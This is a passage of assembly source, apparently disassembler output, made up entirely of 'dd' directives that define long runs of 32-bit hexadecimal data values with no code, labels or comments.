		dd 0E9405F21h, 48EE0E8Dh, 32613877h, 31B01741h,	0CD72B6F5h
		dd 0B6C4B86Dh, 719158D1h, 0AA41EA2Eh, 8D7668C1h, 0A793300h
		dd 0EEE5ED6Fh, 0A7E9F3A1h, 75CAD7B9h, 0AE2D3AC5h, 606C29B8h
		dd 16675978h, 6FF9BB75h, 0DDC002AEh, 15117934h,	0BB75958h
		dd 11129AFEh, 8645BF8Dh, 0D4EC57D6h, 9EFE760h, 20F47E85h
		dd 960CBF75h, 0D85ACFEAh, 0BE82342h, 5320AD8Dh,	95199016h
		dd 315D6506h, 96B682F5h, 7716767Dh, 0C656666Dh,	9DAB7F64h
		dd 534B49A9h, 35C83A17h, 7A7EBDBCh, 7CB620CAh, 0AEFF1D63h
		dd 5BD916D6h, 9C12A9F0h, 0DF97BB68h, 202124Fh, 7BDE2EC4h
		dd 0E6C4B220h, 0CABEFD98h, 9A0E8C80h, 0D002488Ah, 8CF0F9F5h
		dd 8CA6E9D8h, 3CBCED08h, 59378AA4h, 4C671081h, 0F4F4E62Dh
		dd 36609C71h, 12AA88Ah,	0F2A09755h, 32E3F169h, 5F5D1C8Fh
		dd 0C1AF2FB3h, 0AE247FD4h, 0EA170473h, 0BD61B07Eh, 42B5344Dh
		dd 0E7E6C2F9h, 0F6E80F61h, 0F536785Bh, 6BC60611h, 0D5BC068Bh
		dd 48406CECh, 41278472h, 0FF92BADEh, 0B287A1F8h, 21157179h
		dd 2F4F1EBCh, 3FAAA4F7h, 74131EE6h, 0CE897E35h,	8464FB63h
		dd 0A6B2AE00h, 2995C728h, 24E8B289h, 0D0E41A99h, 0BC3E89AEh
		dd 75F0FA75h, 0F59B23BFh, 0FF826B1Dh, 0D0195A4Ch, 47BF1ED2h
		dd 6EB9A0C1h, 0D0A67AFFh, 0EC0EDFDEh, 1E7DFC94h, 0B30EFB3Eh
		dd 0E5292FBCh, 0C80CC6BAh, 771987B3h, 0EDEB02D5h, 2B723C2Fh
		dd 2D6CF12Eh, 39177E0h,	7171B9D0h, 3B97F96Dh, 46322E82h
		dd 84A77480h, 15DA44ABh, 0E132ECE8h, 82639965h,	0C4B88539h
		dd 53E5CF35h, 7FE2EF27h, 86626C18h, 0E7B704Fh, 2847858Ah
		dd 0ECDDD6D0h, 7477DB5Bh, 0F383DFCDh, 0F313131Bh, 0C8C91711h
		dd 480F06Fh, 6DB2BB82h,	0C521901Bh, 6C078CDEh, 0C2772D6Fh
		dd 4527A779h, 861546BDh, 0E42064EDh, 482A8563h,	3CEF5547h
		dd 75DC685Ah, 0DD081A29h, 355BE8D0h, 5C233C4Fh,	0ED0D1E50h
		dd 68469DC1h, 0B9A6FFA7h, 0D5CF68A7h, 985EBE48h, 615801FCh
		dd 42323D84h, 0BFC5585Bh, 3F0ADA76h, 1581B1D3h,	0D1C0267Bh
		dd 19BCD457h, 59705A3Ch, 6B96D352h, 0DC18BBADh,	1B5377DAh
		dd 5DB34B05h, 0BA09D49Dh, 52DC11E8h, 1ADEC99Fh,	6FF7A194h
		dd 0E50C8702h, 20436F7Fh, 0EAFCE1BCh, 4F7F7A6Eh, 0DCB89369h
		dd 5634C93h, 0BF25CC2h,	959F8CBDh, 0F33DD3F2h, 0AFEA5328h
		dd 0F9A7E28Eh
		dd 9601DC89h, 0A13BC3F3h, 26E73046h, 0A345F7C5h, 0AD235A97h
		dd 0B6133891h, 0B69A697Fh, 73F070F2h, 8D445E3h,	9EB81568h
		dd 0AC52D07Dh, 4EC55D5h, 4C43D76Fh, 0D817CF2h, 0D55A8DA3h
		dd 0E968E48Eh, 3FB6C761h, 79954077h, 73DF2F89h,	0B48E468Fh
		dd 5A5CA070h, 8F9CB6D2h, 0B21CD853h, 0B9794FC3h, 4016B3C0h
		dd 257E2A65h, 90AE529Eh, 0D88C7FACh, 3E4FDCFAh,	0DC674E66h
		dd 0D80D6ADFh, 7141BE5Ah, 70CBC129h, 0BB5D7A7Ah, 8C78C3BAh
		dd 854923F1h, 33A074ACh, 722FBD33h, 0EC9EAAB2h,	72007B44h
		dd 0AEB66089h, 5D3F720Eh, 3921FCEAh, 0DB9474C2h, 3B28B3DAh
		dd 8910D85Eh, 0C6A39CB5h, 0B63524FFh, 46E019BAh, 0CE9A804h
		dd 6CF61932h, 1C5422F6h, 9E0D188Eh, 230C26FFh, 0DAFBB9D5h
		dd 0FB5A2E90h, 0CC8610F2h, 8B482762h, 0F3A49653h, 5A0C871h
		dd 93E5714Ah, 0E50FD5ABh, 46565306h, 7ECF6C9Eh,	28412A31h
		dd 20B9EC65h, 0CE741D30h, 4A56999Ah, 0D0EE18C6h, 94A7C060h
		dd 0AFDE7685h, 0AA764086h, 0F24F52BDh, 71D2DFB9h, 0B8173BBEh
		dd 0DDCBC3F4h, 6EE56ED5h, 91928104h, 51C1D54Bh,	0CBDC4082h
		dd 0DB8D132Fh, 8F478CD9h, 0E356FEE2h, 0E2C709EAh, 0DA6B4E55h
		dd 6BFD11E2h, 0B167DE8Ah, 0E1F3A734h, 0E2F3E044h, 0FCD6D038h
		dd 0EC5B844h, 3EFEEF92h, 784BFA9h, 8476B7DCh, 45BBA373h
		dd 0D51BF7F2h, 0E17669CAh, 0BA4A1AD2h, 0B72D8D7h, 0A69F2314h
		dd 2DC6124Ah, 0EA088E62h, 966E1C3Dh, 0FF29DC83h, 0B29562BAh
		dd 0CEA79832h, 0F38A526Dh, 764AD203h, 97128413h, 3911273Ch
		dd 77E45985h, 8105CBBh,	84D1410Ah, 0E1A17BCEh, 0D4B482AAh
		dd 68D4D47h, 0B0E8ECA1h, 0C3468C60h, 0F7B76539h, 335E67F8h
		dd 16981198h, 0A9484976h, 0F2C2AF0h, 8E735841h,	0A8E04035h
		dd 5DCCEB50h, 6094BBEAh, 6C5BCBBh, 0C129E5E2h, 6121D8A9h
		dd 32B7C3DEh, 0D6264DACh, 7008E532h, 0B4A31BD4h, 2338225Eh
		dd 0CD91EBC9h, 0C0783E91h, 8ACB139Fh, 0BED89284h, 3791FC31h
		dd 3F1B6AA0h, 72106C19h, 9A1BA8C3h, 93B55A62h, 0BC85CE38h
		dd 4731800Ch, 8074B7F7h, 0C928A6ABh, 8D8FDD7Eh,	91011628h
		dd 9A123679h, 1D7455A0h, 3F6F3E9Ch, 9C2CF07Ch, 8DEB511Ch
		dd 27758ECFh, 0F0FEB5EAh, 739C785Bh, 3C12DF23h,	96DFD569h
		dd 0C5280AB3h, 94E933FFh, 6EA04E24h, 6ABB97A0h,	8D96152Ch
		dd 0AD9F2A92h, 9F389D28h, 1E960AE2h, 59368F4Dh,	57609F00h
		dd 0ED6FA4h, 0B377A578h, 0C41CC7Bh, 27CCDFD3h, 6B67720Fh
		dd 0D9A834E3h, 1D874CC2h, 44A97AC7h, 0C042E005h, 0B7DB24ABh
		dd 505FD100h, 599FF864h, 0E73EBEFEh, 0EC40BF94h, 92C762AEh
		dd 914B40F8h, 0FB9E8EFDh, 0C6FA87ACh, 5E4D645Bh, 0DD5AA4CFh
		dd 5B2272A9h, 53EBE317h, 789A0BB3h, 0EBC70D02h,	0B85D7198h
		dd 0F38181DFh, 0C309759Ch, 805F49FEh, 2B096302h, 79BC682Eh
		dd 7A957A4Ah, 0CBF4F24Bh, 7D31F1B1h, 866A0ADFh,	0E2316F9Eh
		dd 5E7584FCh, 286B7578h, 9C83FC0h, 0A9349B6Ch, 0F92943Dh
		dd 0E4FA8CD2h, 7E871012h, 0D75183B1h, 0FABD2102h, 8A6B95E4h
		dd 1AA2269Eh, 27D623Fh,	0B7BA5DE7h, 0C3C7FE18h,	4605309Bh
		dd 0BA4A4EE2h, 31A564DFh, 0F12C37C8h, 0D31984F0h, 0A83864B4h
		dd 6C862582h, 895E80CCh, 4C622FCh, 0A6DA0AE3h, 60932862h
		dd 93609250h, 145F8745h, 75CCA6Ch, 0F4A7665Bh, 0C29E240Ah
		dd 328411A8h, 86FB162Ch, 4AC357Dh, 6CE57279h, 627DF3C0h
		dd 56C13B6Fh, 9BB20081h, 0F71F6077h, 272379DEh,	0D3BE4FDBh
		dd 0A0082ABAh, 0C33C5778h, 364CE661h, 63B01AC3h, 0B1D38151h
		dd 574F71Ch, 85BD9271h,	8DE7B66Fh, 0BD6AA593h, 738212C6h
		dd 101B356Bh, 1DC0210Fh, 1CB2D4C5h, 25B934DAh, 0E7F49B36h
		dd 0C1B00D15h, 36C80963h, 3A483752h, 38E204BCh,	0E9B26601h
		dd 0A205190Ah, 0E69DA68Fh, 8B281D08h, 90BF5C6h,	8C910ED1h
		dd 1ED9BF9Bh, 3D44F993h, 9AFD8AD7h, 3A1D7137h, 942B797Ah
		dd 0DD344F93h, 65E167C2h, 0E7467A51h, 62451CB0h, 0B91B5E23h
		dd 0C0642EEBh, 3DF1EDDFh, 9ED0E009h, 3DC7931Ch,	8CF556D3h
		dd 2CACEE63h, 1A3BB98h,	2541D928h, 0B109A5Dh, 0B102E819h
		dd 4D75DD99h, 84817B34h, 0F9B19652h, 49705037h,	52B32D80h
		dd 622C144Eh, 0E4083345h, 0B06DBB15h, 0E11CF09Eh, 0C4D4B33Dh
		dd 13465B29h, 92EB3042h, 0A82B3A79h, 5489E15Fh,	0BD01ED42h
		dd 0CB8C4C5Fh, 6C5F05B8h, 0C0C5A993h, 0EC9C1F96h, 0D710AE8Dh
		dd 7B1C4D76h, 0B6CB40F8h, 6DDE5247h, 16A33A1Ch,	1A35AF43h
		dd 7E30EBB1h, 9A16126Eh, 661FB3A2h, 0F980E016h,	16E21E76h
		dd 0D97578D5h, 9ADA70AAh, 5811D4FAh, 685E3D15h,	28C8BE05h
		dd 8A887C20h, 797DA6F6h, 0F4476DCEh, 0D9D9D33h,	450DD209h
		dd 0CE19DF7Dh, 70396556h, 2AC6420Eh, 9E3547C4h,	0F0B1EE70h
		dd 13A1C7FBh, 42FE634Dh, 0A0940188h, 78209C31h,	0E965ACE9h
		dd 0AAFCA1A6h, 8EFB7A5Fh, 4B30FCDh, 0CCBB45BFh,	8749B43h
		dd 87114E99h, 68C0F0ECh, 64E881E9h, 1905BE6Ah, 3C7C4F6Ah
		dd 2A3CD5Fh, 5C3CE93Ah,	8FD2C1F9h, 59D7B778h, 0CB2BDEEDh
		dd 0F7D658Ch, 9490E983h, 175F54DAh, 90FEDED0h, 8B918920h
		dd 0F3821EAEh, 0FC8B33C9h, 6D60A64Ch, 0FCC48B31h, 83425834h
		dd 4526B3BEh, 0DBEE6859h, 0AE7AF19Ch, 65CEF0Eh,	32CE3241h
		dd 90432C91h, 45604B49h, 8495CD59h, 0C4A977E4h,	85F52C55h
		dd 0FF52EAF0h, 0A518B446h, 0C43E14F5h, 0D7430549h, 69746E6h
		dd 0FF431762h, 9D5A1999h, 0D718ABADh, 0FA6A80E4h, 0E135A15Ch
		dd 924EB5F0h, 0ABE41D9Ah, 16C56E7Fh, 0BB96CCABh, 0A18248A7h
		dd 0EE644DBBh, 7774AC9Ch, 25D44E3Fh, 11C7B344h,	0E6C751E7h
		dd 9D671801h, 0DE3246A1h, 5501A08Ch, 68D7BFD2h,	0FE2F3EDh
		dd 86614DFAh, 533C87E3h, 89CA246Bh, 5E1312A9h, 0F131128Ah
		dd 0BC8D6E08h, 0E63B27A6h, 0B157E570h, 0BF86FA6Dh, 1F299C04h
		dd 818A5EBAh, 1006D76Bh, 0FB7109C9h, 0FB94924Ch, 0F535814Dh
		dd 0B71C45BCh, 999B50D8h, 788987A3h, 0B1C5F3CAh, 5D764B38h
		dd 9098F183h, 0AD83000h, 0E7BC6BE8h, 5A6E7BD9h,	973D260Eh
		dd 31BE24AAh, 0AA3DACD1h, 35A556C9h, 0C7E46506h, 0B024B954h
		dd 2EFF75ABh, 400333B6h, 8B304F74h, 746D8F11h, 0A768037Ch
		dd 34412A9h, 0A301247Ah, 0C3FEA431h, 9EF88B22h,	0F68509ADh
		dd 0F00486B8h, 0CA75D314h, 78B72BDFh, 0C064E51h, 8860A02Eh
		dd 583652BFh, 9004A5EBh, 0C7DD07FBh, 148BDBCh, 0DAB634F6h
		dd 44DE33B2h, 51E2C56Ch, 0AD401CC9h, 38060544h,	3776AB0Eh
		dd 0F7C12713h, 10086588h, 387837C5h, 0F8F4BE08h, 0A87D22E9h
		dd 9862DF2Ah, 390CF53Ch, 282194Eh, 7F1B6E25h, 4B3D6573h
		dd 0CA44DCDBh, 2B036DD4h, 164BE24Fh, 0EC184CD4h, 27300DB0h
		dd 36EE4752h, 9E4AFFACh, 35B2BF21h, 465EA67Ah, 86ED8E79h
		dd 124CC75Eh, 0EB9919FAh, 8B96E1Dh, 6353BA98h, 0DCD0965Ah
		dd 0D75550F9h, 0CDFEA42Dh, 68C7D856h, 0C0329F9Eh, 4FD45CBEh
		dd 6CB0259h, 7D37AD97h,	5E75AEB1h, 297E8A51h, 547A876Bh
		dd 57C7631Bh, 297999CBh, 7348FC10h, 0F6D9426Ah,	0C6C2CA48h
		dd 492415CEh, 0E95B8874h, 0C78E6951h, 0DF78C67Dh, 35B8F927h
		dd 8A7F6850h, 7B72D0Ah,	0D167A5F4h, 0E57D107Dh,	0DAB716DBh
		dd 0FBEF9409h, 6831052Ah, 0F7C1CBC2h, 0CB2EEBC1h, 69C2C0A5h
		dd 3B653B0Ah, 0D1B17609h
		dd 0DC021CA2h, 5071B917h, 89457989h, 0EDA8548Ah, 54DCF536h
		dd 0FC243CB6h, 0B8D24306h, 5DBA4CB9h, 97FC6B2Ch, 5E8AE944h
		dd 81E2570Fh, 0D176CF9Ch, 8F87BA35h, 75BE784Ah,	5B0C2A19h
		dd 609879C6h, 342A91D2h, 27EDB885h, 251155CFh, 9A23D4AAh
		dd 48BDA1B1h, 15343571h, 7C68CB2Eh, 8082F7AFh, 19875AD0h
		dd 5EF33554h, 99178216h, 0AFE94FA2h, 0DB9D005Fh, 955553D0h
		dd 95E64930h, 7467E460h, 53E665D9h, 0C573E95Bh,	0A6987143h
		dd 0CDAB7CCEh, 8763B57Ah, 3381B20Fh, 0C048A884h, 76FE1787h
		dd 0B30033D2h, 0FDC8D409h, 0DBB81253h, 0EA395153h, 0CD021E30h
		dd 75100929h, 16181664h, 0DFD02403h, 4F839DA1h,	0D751FCA7h
		dd 3336C516h, 442B499Fh, 0B2FFD9A4h, 85312849h,	99BC2BFEh
		dd 0CAD4F3Bh, 0B683ED5Bh, 976B07FEh, 2C5350EDh,	43CDEF60h
		dd 0A9D16B33h, 21ECD6B3h, 218CF3F5h, 35E29CC3h,	0A2508A35h
		dd 0DED56749h, 10FD818h, 61454573h, 0BEC1467Dh,	2C5F6702h
		dd 31D09858h, 7508ACD4h, 2CB8FDAFh, 0E9D68AFDh,	0C0466ABBh
		dd 0D9CA1748h, 977E144Ah, 6CEAFAh, 0BAF08B92h, 5AF81A2Eh
		dd 0E5D47163h, 87D721A4h, 2F98F4FAh, 967C5040h,	642364E2h
		dd 1FC5710Dh, 4D2DAA93h, 8370AA02h, 0AE37466Fh,	2316EF36h
		dd 0C6196815h, 0ECB4E19Eh, 0F70CAC5Ch, 0F9525CA6h, 5900DE92h
		dd 0FF8CD519h, 0F8A1A090h, 0FE6734D4h, 0E351D8CEh, 0F34CCA66h
		dd 5398D1B1h, 0EBD4ECF5h, 4A09911Fh, 0F193E670h, 0A38A8166h
		dd 64429CC3h, 1ECE5A90h, 0A8EB2187h, 87221AD1h,	0B0A021CDh
		dd 0D08D1634h, 320100C5h, 0BA56E65Eh, 0E9FEFFDCh, 33D29FD7h
		dd 0F8395F4Ch, 0C8D68A2Bh, 0C9A76D43h, 0D5A8B43h, 52EEA3C8h
		dd 0B7C5B9B5h, 0DFDB34F8h, 0CF2D6E75h, 3051F54Ch, 5024E78Ch
		dd 0A29849AAh, 0A64FF4C2h, 0F8229E1Bh, 0C57A021Ah, 0DDE91801h
		dd 31342F3Dh, 0AAD41D22h, 0C0EC37F6h, 0EF5FE177h, 0C78369C9h
		dd 0F7A51FD7h, 6D2C96BDh, 0DCAF7915h, 0CC93D7B0h, 5D86EF3h
		dd 4253F4DBh, 48D5D242h, 0D70B3E69h, 7EC086B5h,	67A1E80h
		dd 0F90C2FF5h, 0E95A8DA5h, 1C9953FEh, 41D240E5h, 0CB60FD99h
		dd 0A714ED19h, 3E758DE3h, 63B7ED3Eh, 530BBCEEh,	7C7BCFEFh
		dd 0E18F4B75h, 6C3C1EE6h, 86E44B02h, 0BCEEAA22h, 27001F22h
		dd 0C2E05484h, 8446DDA4h, 0E7EEA193h, 0D4D3E005h, 90510B60h
		dd 3B3DA3Ch, 0BB0D0AEAh, 8E3E08E7h, 1D195040h, 5992920Ch
		dd 2FB0C292h, 0D58784B1h, 70C63E36h, 0EFD8AC79h, 539FB9E4h
		dd 940E8BE1h, 6175D1DBh, 67703A40h, 57797A25h, 4A5B424Fh
		dd 89F9A686h, 39316F02h, 63997A4h, 0EFBBB183h, 70334C90h
		dd 34652F18h, 0A9DD5B8h, 0C75EF3B1h, 7DC83CA1h,	0E9F62D0Bh
		dd 9F9A3D2Eh, 16523C83h, 73939D75h, 76D10399h, 9DF25904h
		dd 0EF635CB4h, 5237C3D9h, 0B6C836BBh, 94A7228Ah, 0BB7072C4h
		dd 97F491Ah, 0D9476092h, 0C32F1F9Bh, 841DE912h,	0A388DE4Bh
		dd 2458811h, 0CDB82AE3h, 0D605C8D4h, 9B3EF124h,	8BCE215Dh
		dd 0DBD01DE4h, 315D71B7h, 466C659Fh, 7C518457h,	96A60831h
		dd 3F29A40Fh, 1C4C7AAh,	7C72F70Dh, 0A7BC47C6h, 56DA8CB4h
		dd 7BFFEA96h, 3267F1D9h, 61B48889h, 7EE52B15h, 1F05258Bh
		dd 0A567561Fh, 0AFCCC649h, 26F890B9h, 0E6C64AEDh, 0D55F39E3h
		dd 0C17EF574h, 0B2750350h, 32BFC126h, 55568105h, 0D31BF6B2h
		dd 0F9174660h, 0CE2C6B43h, 7C30542Ch, 0C009B438h, 69F83FD2h
		dd 9F28D776h, 0D50C59BDh, 0C31C3950h, 1BACEEABh, 0DA9A319Fh
		dd 0F41C6ECBh, 4D5A7ABh, 96CB949Dh, 1BAF9178h, 97F5C1DFh
		dd 0FD9B5ACEh, 5D71FE82h, 71CCF44Eh, 0D17B1D1Fh, 91CFEB4h
		dd 6D4D41F6h, 0E4C5C305h, 7B794541h, 5CD0D027h,	2ED38F76h
		dd 4157EE28h, 0D74ABC9Bh, 0E42DB63Eh, 0B76F7C75h, 83B211EBh
		dd 457AD7EAh, 4771D22Bh, 0B76FAF98h, 3763ECE8h,	0CE320B19h
		dd 0D1EE292Bh, 0F210AEFAh, 0BE93592Ch, 0D27C1D4Dh, 0D1B32440h
		dd 91D0EABEh, 39AF2B8h,	0F0C220D2h, 0AEB16950h,	3F60DCA5h
		dd 0B9226E08h, 0D2FC16BBh, 0C8366204h, 33A98677h, 7730A413h
		dd 1DC093AFh, 0F8B82702h, 0AFF788Fh, 606B7B67h,	5CA0B879h
		dd 0DB7C97EDh, 66833483h, 0BCA49B5Ah, 8461D7D7h, 580DF8E0h
		dd 26FCB75Fh, 4F60E518h, 26C288BFh, 10226875h, 0B6BECF84h
		dd 0AD38081Fh, 349A7C17h, 0D1A6F9FAh, 5DE36698h, 8EA2878Fh
		dd 88C01045h, 84CBA874h, 6CAC0EFh, 0D40C82A9h, 0AE7B2556h
		dd 0F0F22EBEh, 0D5B1A524h, 100A3964h, 8D1CD4C4h, 87133856h
		dd 8D40A0DFh, 94F51E0Fh, 5ECA68D6h, 298C2E73h, 5FA2C3ABh
		dd 832A26B5h, 98770AB9h, 0AF0C3E13h, 0D66C9FA8h, 4C6E8D3Dh
		dd 0DB7A39C1h, 6435DDC9h, 0A677B696h, 7BF94506h, 85611CF7h
		dd 43745561h, 2E04F7FAh, 0A692CBAFh, 670D35F8h,	8D40BC26h
		dd 0FA7D2660h, 53FD1302h, 8057E0BCh, 0CB0A13CEh, 8AB298B0h
		dd 37CE490h, 14370095h,	0FCA050FBh, 48D99AE2h, 2201982Dh
		dd 0B8AB943Ch, 63897622h, 0EC645430h, 82EC3ACFh, 0CB3C125h
		dd 849E5F33h, 84EA84D3h, 257CDEB9h, 0D3A38F74h,	1EC40444h
		dd 36877F86h, 0BEA28F29h, 0BC721BC1h, 12A77B86h, 0ED13D44Dh
		dd 4948F2E1h, 6BB65A11h, 0CB5BA1ECh, 357CEBBFh,	85E2685Ah
		dd 0A48440CFh, 0D7811734h, 8F13FC28h, 4DDCE72Bh, 70C70306h
		dd 9B9AE5FCh, 329E7C21h, 708E8A55h, 49CDF846h, 0EA024820h
		dd 560AC392h, 6A72E4DDh, 0EC70E6F9h, 8B974076h,	0BDBC9731h
		dd 637B8AC3h, 0D663A235h, 5B523984h, 99312910h,	3C890439h
		dd 0EA53621Eh, 0D4A21527h, 7DD01DDFh, 49C08C28h, 9A41913Bh
		dd 2452BA34h, 0A1DC996h, 20DC14A3h, 0EB232986h,	0E2306BAh
		dd 2A07F624h, 87380156h, 3461376Ch, 0F5206976h,	4D20CED2h
		dd 0FCA28757h, 6215B60Eh, 3BB7FADFh, 34290570h,	8306A0BCh
		dd 5D3A863Eh, 0E75C855h, 0EA4C0F0Eh, 0C20C8457h, 10623371h
		dd 1D672C5Eh, 0BCBD7B78h, 7121EDC3h, 5DB61184h,	0C4455CE0h
		dd 98CF63D3h, 0F5A078Eh, 267C06DFh, 872710F8h, 0BF837E63h
		dd 0C8263B06h, 21A9B3EEh, 42507A3Ah, 7E57F673h,	0B350C566h
		dd 0BEA04445h, 25F80B7Ah, 6F2733EEh, 423FB804h,	0F5B5CA3Ah
		dd 6016DECAh, 4FD6AB2Dh, 62DFFEBEh, 111C5283h, 34775A19h
		dd 4301689Ch, 0BB052CC9h, 0F31380DFh, 8ECAE626h, 0D39D8503h
		dd 569A53EFh, 10BA0536h, 84FDA60Bh, 451FBDE2h, 499A74CAh
		dd 0C45DE5A1h, 0F0A8F425h, 805F1EA8h, 6D98FA95h, 6C007AB5h
		dd 0E3D2246Dh, 0D510D494h, 4069AE02h, 0E7DACBB4h, 0F26E6947h
		dd 7F3FDCAAh, 50B21200h, 0F4C2A185h, 0F3E32B50h, 9D77B233h
		dd 7B751615h, 0EA9BA023h, 5E4DE8C1h, 1FC71755h,	0F4D18C61h
		dd 3F0CE02Bh, 9FC8C261h, 9121276Eh, 0F4CB3410h,	39141C8Ch
		dd 7C907DD7h, 33B5C05h,	19D98D8Ah, 91D8B3EDh, 0FE490E4h
		dd 0F68055E3h, 62B9C07Ch, 22384551h, 45AD643Fh,	0E6B0279Fh
		dd 26DA0391h, 18511FF9h, 0B70C228Ch, 38BB98F4h,	0B1CAFBD1h
		dd 87DEC69Dh, 0DD15315Ah, 5B55CF14h, 0E8285977h, 58539226h
		dd 3E920E7Fh, 62912B26h, 0DCB3F3E1h, 0B01358Ah,	3ABE2FC0h
		dd 0FDEDB4F6h, 4642FFCAh, 0FCBEC0F7h, 0C0E88B9Ch, 841CAD84h
		dd 7521FFB8h, 332463DBh, 6E207696h, 0CD74F089h,	0CF5A1AF7h
		dd 0A68A3E78h, 8968748Eh, 0CFA37265h, 0E58266BAh, 5441E29Ah
		dd 0B78F05BBh, 0E68F23A5h
		dd 793E97FEh, 1E67129Bh, 1C63D490h, 50D1E637h, 8403EC92h
		dd 0C39259F8h, 70EA408Ch, 0E5B3BCFAh, 24437323h, 7D756C68h
		dd 2AEDB62Dh, 0B4520BA9h, 97C90091h, 7804349Dh,	973288BFh
		dd 227276FEh, 0F5446AC9h, 94D6AA34h, 6B0BAC03h,	191CB242h
		dd 3AB0EFC2h, 1E84293Ah, 9CF4A211h, 13C4A634h, 9160E9FCh
		dd 13688742h, 678B1778h, 1F81FB8Dh, 6E38801Eh, 9578ABC9h
		dd 0CA784D6Ah, 0E664B033h, 0C4BEB170h, 0EE7F95E1h, 34044134h
		dd 2B49BEEFh, 0F9600957h, 648629B7h, 7917C210h,	532814B3h
		dd 5D8C1A67h, 44D9523Ch, 0EB6ABF8Bh, 27210572h,	618AC2BDh
		dd 247ED799h, 0A958324Dh, 9D5A8742h, 7B16C83Ah,	3FA8AF76h
		dd 0D1E8400Eh, 0CE10CA71h, 0D094F8C3h, 1793AE69h, 847A19D7h
		dd 4B40A5C3h, 777DC45h,	0A10BCF11h, 6B9C2055h, 1BE2214Dh
		dd 16F84EA9h, 8849112Dh, 0F9129C88h, 821A0E93h,	2F8F3782h
		dd 79B6DD53h, 106D3DD7h, 54D5CD90h, 37758910h, 77D39463h
		dd 0F6678B35h, 0BE0D4B31h, 4D87EEEBh, 4BE0F6E4h, 108C71F3h
		dd 414C1264h, 207F3C45h, 50353C7Ah, 0ACCF3B18h,	7768FE80h
		dd 0A9B795A4h, 9045A3E0h, 6AE0AA96h, 0E83DC605h, 0FD3B6C82h
		dd 5F444F9Bh, 0C5CE7C18h, 0D61CB3E9h, 9E4573B6h, 86CC8293h
		dd 0B570BCCh, 0A0CA2BFDh, 0ABEFA450h, 0BD24037Dh, 0DE2B5DA0h
		dd 22017937h, 0CA468FEBh, 14F185F3h, 0DB9B533Eh, 9E0B6C90h
		dd 0FD0C195Ch, 24DAB88Dh, 0DF96693Ah, 0E3EBF8C7h, 33E0BDD8h
		dd 9C18459Ah, 686ACE29h, 0B103DFAEh, 92DC6BE3h,	6E104ED2h
		dd 21B884B1h, 0C509AD86h, 49C12561h, 0FF1DB59Eh, 5369FB61h
		dd 0D4F9C50Bh, 0E5EC69F9h, 0E14EE837h, 53BB7436h, 0CD587180h
		dd 7BA2E2A3h, 0E8B0E07Dh, 3536D7E0h, 7A2E05C8h,	26FB688Dh
		dd 0D03B78A9h, 8F9D0CC9h, 0D417D125h, 3A3A6F1Eh, 6473DB74h
		dd 7588EAA3h, 0CBFD936Ch, 664C2D4Ah, 0B16F64BAh, 0F4943E49h
		dd 7DF2F211h, 624FE57Ah, 7A2419B9h, 22E006A6h, 3C534E16h
		dd 2BD238A6h, 3EFBB1FEh, 71BC5ED4h, 0D94957B7h,	5BBEE5F6h
		dd 0D64B54AFh, 0C45B0E08h, 0ADBC325Bh, 37FE7F7Ch, 2568E0BEh
		dd 0FF217AFDh, 7065701Fh, 14DBE66Ch, 27ABCE9Ah,	43BDDF1Ah
		dd 6D809616h, 6C087F14h, 1302DCAFh, 3E92FDBBh, 0FA5A9A23h
		dd 0EC970D7Dh, 9E5C7893h, 3E154D45h, 99FCDC4Fh,	34103A1h
		dd 0B4EB6D07h, 0C50F9DEAh, 0E9063223h, 0EB04582Bh, 0C69591C8h
		dd 852E3DDCh, 555402EAh, 0BCCDE517h, 5E7E568Fh,	0B020082Ch
		dd 76925178h, 60418941h, 0DC85F430h, 0F27DA4B0h, 0AD606BDFh
		dd 0EB544FD4h, 0D5EDFAC7h, 7ACAA3FFh, 0E7026A74h, 0CE2DA2D9h
		dd 82408A61h, 0BEF2C88Ch, 78D7912Ch, 5A78C38Eh,	6685505Bh
		dd 882EF283h, 880ADF46h, 0F6E1724Eh, 4FD560B4h,	26C04A31h
		dd 0BFCB3807h, 9EBC77A7h, 0D5E69AC5h, 9840A795h, 28B622ABh
		dd 41F1FF7h, 0B623DBD6h, 77C8954Ah, 0D7E25B61h,	84507DACh
		dd 0B3DA1F9h, 42EE54D0h, 0BD99DDFAh, 0DBB8BE4Fh, 287024ABh
		dd 0CE436D67h, 0ACAE0F68h, 3FD3368h, 19E160B4h,	46B7674h
		dd 7AF21F6Fh, 5CCE316Dh, 8E793B45h, 0E182D616h,	0DB73964Eh
		dd 5B835C81h, 6D00ADE1h, 0C0C1965Eh, 1DF491F0h,	134F85Dh
		dd 0D200614h, 85D3DE60h, 812A9DF8h, 2A255AFEh, 0BA5744D8h
		dd 0E2B24EE0h, 33C7664Bh, 6ED1272h, 1217CDAh, 99B940D2h
		dd 3546078h, 0B1E1885Bh, 2AC026B7h, 18EC53CDh, 0D65A376Dh
		dd 8F365C95h, 0FC6257FFh, 5387A3C0h, 893E8FC2h,	8D72C58Ch
		dd 35DF907Bh, 4EE2926Bh, 9FBFA9Fh, 4644CB5h, 6A1FA094h
		dd 5297CDD5h, 0A3205D8h, 0CEE6F575h, 3B77C3B9h,	0B1138EF0h
		dd 95630369h, 843FB596h, 2F90A04Eh, 1F2C8CEDh, 0BE184C59h
		dd 7E23880Fh, 9E1D5C6Ah, 7F3A4C8Bh, 0E9E562D6h,	41D1BFA1h
		dd 9D2B04D9h, 550A4BD3h, 0C9FC6876h, 0F22EAAB2h, 0E7B3E42h
		dd 0D8165CA8h, 8082B141h, 9C0DE7BEh, 385FB956h,	1CD336F1h
		dd 8606705h, 3730411Fh,	0F7B354A9h, 45623B7Fh, 71D7AE8Ah
		dd 4A60C274h, 535E980Fh, 0C242233Ch, 3FB1FF68h,	909E46EFh
		dd 0E1CD3C7Dh, 0DB76FE58h, 0B6645A5Ch, 6899F8F8h, 0DED9C1D3h
		dd 0D1FB2DCEh, 198CFA00h, 1374464Ah, 0F1944451h, 0EA09AC93h
		dd 0DF9EC43Eh, 5A8F3Ch,	4FA95694h, 943EB4ACh, 58999134h
		dd 266F30ACh, 79FF9B53h, 0E5FB767Eh, 98EA8962h,	508D9D56h
		dd 0EF6AE7FBh, 0D3DAE589h, 8490F54Dh, 0DFA9F23Fh, 0BA0F8AD4h
		dd 0E3A2FDCh, 50D74D5Ah, 3C700A09h, 23F5C48Bh, 1ECCD9D7h
		dd 432A7039h, 7E065E6Eh, 45FD1315h, 0F0B7EE70h,	99DAE662h
		dd 0BB8DCB70h, 0E0C0756Dh, 0EC69D764h, 22D3A07Ch, 334D47B3h
		dd 9223A88Dh, 1AA742C9h, 0F2F2C472h, 39E78133h,	645C8A1Bh
		dd 95C498E1h, 0C4F22686h, 0EE1E4322h, 2FABC965h, 7C08E3AFh
